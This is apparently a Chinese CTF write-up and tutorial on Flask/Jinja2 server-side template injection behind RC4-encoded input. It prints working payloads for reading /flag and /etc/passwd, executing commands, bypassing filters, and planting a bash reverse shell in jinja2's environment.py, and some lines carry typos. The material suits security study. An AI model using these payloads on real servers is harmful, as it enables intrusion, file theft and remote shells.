进入题目只给了Welcome To Find Secret
,查看源码、抓包都没有发现特别的提示,可以用御剑扫一扫后台目录,发现了/secret
这个路径(脑洞大一点也可以直接猜到),页面内容为Tell me your secret.I will encrypt it so others can't see
,猜测是GET型传参,试试/secret?secret=1
,回显d
,综合来看是对传入的secret
进行了某种加密后回显。几经尝试,当传入?secret=11111
时,页面报错
在报错页面发现了app.py
的报错,点开有部分源码泄露
这段代码逻辑就是对传入的secret
进行 RC4 加密,且密钥已知,safe()
函数猜测是对恶意代码的过滤,然后用render_template_string()
进行模板渲染,如果不了解可以搜一下这个函数,很容易搜出来这个渲染存在 flask 模板注入漏洞(SSTI)
先来看看RC4加密解密,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流。感兴趣可以参考这篇文章
这里直接给出网上的脚本
# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文
import base64
from urllib.parse import quote
def rc4_main(key="init_key", message="init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" % quote(cipher))
# print("加密后的输出(经过编码):")
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
rc4_main("key", "text")
render_template_string
是用来渲染一个字符串的,不正确的使用flask中的render_template_string
方法会引发SSTI
html = 'This is index page
'
return render_template_string(html)
存在漏洞的代码
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
%s
'''%(code)
return render_template_string(html)
这段代码存在漏洞的原因是数据和代码的混淆。代码中的code
是用户可控的,会和 html 拼接后直接带入渲染。尝试构造?code=
即可进行 xss 利用。将代码改为如下
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('{{ code }}
',code=code)
js 代码会被原样输出,这是因为 flask 是使用 Jinja2 来作为渲染引擎的,在 Jinja2 模板引擎中,{{}}
是变量包裹标识符。而模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在 xss 了。在这段代码中用户所控的是code
变量,而不是模板内容。但这样就完了吗?当然大no特no,模板注入并不局限于 xss,它还可以进行其他攻击!
简单了解一手Jinja2语言
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
通过这些语句可以执行一些简单的表达式。以本题为例,{{7*7}}
经过加密后传参,表达式被执行,进行了乘法运算
实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。本质就是通过python 的对象的继承来一步步实现文件读取和命令执行的。下面逐一介绍
__class__:返回当前类。{{''.__class__}}
的结果为
虽然不知道这道题的过滤有啥限制作用,但还是介绍一下绕过过滤的方法
关键词被过滤可以用拼接的办法:
{{''['__cla'+'ss__']}}
使用request.args进行绕过:request.args 是 flask 中的一个属性,为返回请求的参数,将后面的参数作为变量传递进去,进而绕过一些限制,具体看payload:
{''[request.args.a][request.args.b][2][request.args.c]()[40]('/flag.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
{{
:用{%%}
代替
·
:用attr()
代替
[
:用getitem()
代替
\x
: 用Unicode代替
__mor__:返回解析函数时,类的调用顺序。{{''.__class__.__mro__}}
的结果为
通过索引的方式__mor__[2]
,就可返回 object 类
//获取基本类 object
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__base__
[].__class__.__base__
config.__class__.__base__.__base__
request.__class__.__mro__[9] //在flask的jinja2模块渲染是可用
__base__:返回当前类父类(以字符串的形式)。{{''.__class__.__base__}}
的结果为
或者 __bases__ 以元组的形式返回所有父类(元组可通过索引访问)。
__subclass__():返回当前类所有的子类,可通过索引的方式定位某一个子类。{{''.__class__.__mro__[2].__subclasses__()}}
的结果为
__init__:类的初始化方法
__globals__:对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__
属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量
了解了上述知识就可以开启各种姿势的学习
方法一:通过索引利用
直接调用文件读写(仅适用于Python2)
str = ", ," # {{''.__class__.__mro__[2].__subclasses__()}}得到基本类的所有子类
all_class = str.split(",")
for n in range(len(all_class)):
if 'file' in all_class[n]:
print('{} {}'.format(n, all_class[n]))
# 40
# 137
''.__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()
本题最终payload:
/secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C3%9B%207%C3%9F%07%C2%B6A%C3%990%C3%A4%21%C2%8A%5E%C3%85%0D%C3%A2%17%C3%9B3%C2%93%C2%B6%C2%B6%3D3%C3%B5X%C3%AA%C2%BBJme%C2%A5%3Et%C2%83%7D%01%C2%8A%C2%ABO%10%C3%B1%C3%9CP%C2%A7T
将read()
改为write()
就可以进行写操作:
''.__class__.__mro__[2].__subclasses__()[40]("/test.txt", "a").write("123")
方法二:寻找__builtins__
模块,__globals__
中会包括引入了的 modules ;同时每个 python 脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
# 利用open
{{''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read()}}
{{''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456')}}
# 利用eval
{{''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}
# 利用file
{{''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()}}
方法一:寻找__builtins__
模块
# 利用eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
# 利用linecache
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}
# 利用__import__
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
方法二:通过写 jinja2 的 environment.py 执行命令, jinja2 的模板会加载这个模块,而且这个 environment.py 引入了 os 模块, 所以只要能写这个文件,就可以执行任意命令:
#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}
方法三:直接利用 os 模块
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
利用 flask 的 SSTI 漏洞,可以通过 python 的内置变量得到功能强大的 built-in functions , 从而执行各种命令。而 python 函数自带的__globals__
属性使得寻找 built-in functions 的过程变得更加简单,不受版本约束。
下面贴上一些方便使用的payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_IterationGuard' %}{{ c.__init__.__globals__['__builtins__'].open("[evil]").read() }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').popen("[evil]").read() }}{% endif %}{% endfor %}
# 仅适用于Python2
{% for c in ().__class__.__bases__[0].__subclasses__():%}{% if c.__name__ == 'file':%}{{"Success! File contents is
"}}{% c('/etc/passwd').readlines() %}{% endif %}{% endfor %}
参考链接
https://www.freebuf.com/vuls/162752.html
https://blog.csdn.net/qq_59950255/article/details/123215817
https://cloud.tencent.com/developer/article/2124510
https://www.freebuf.com/column/187845.html
详细Bypass (赞):https://xz.aliyun.com/t/9584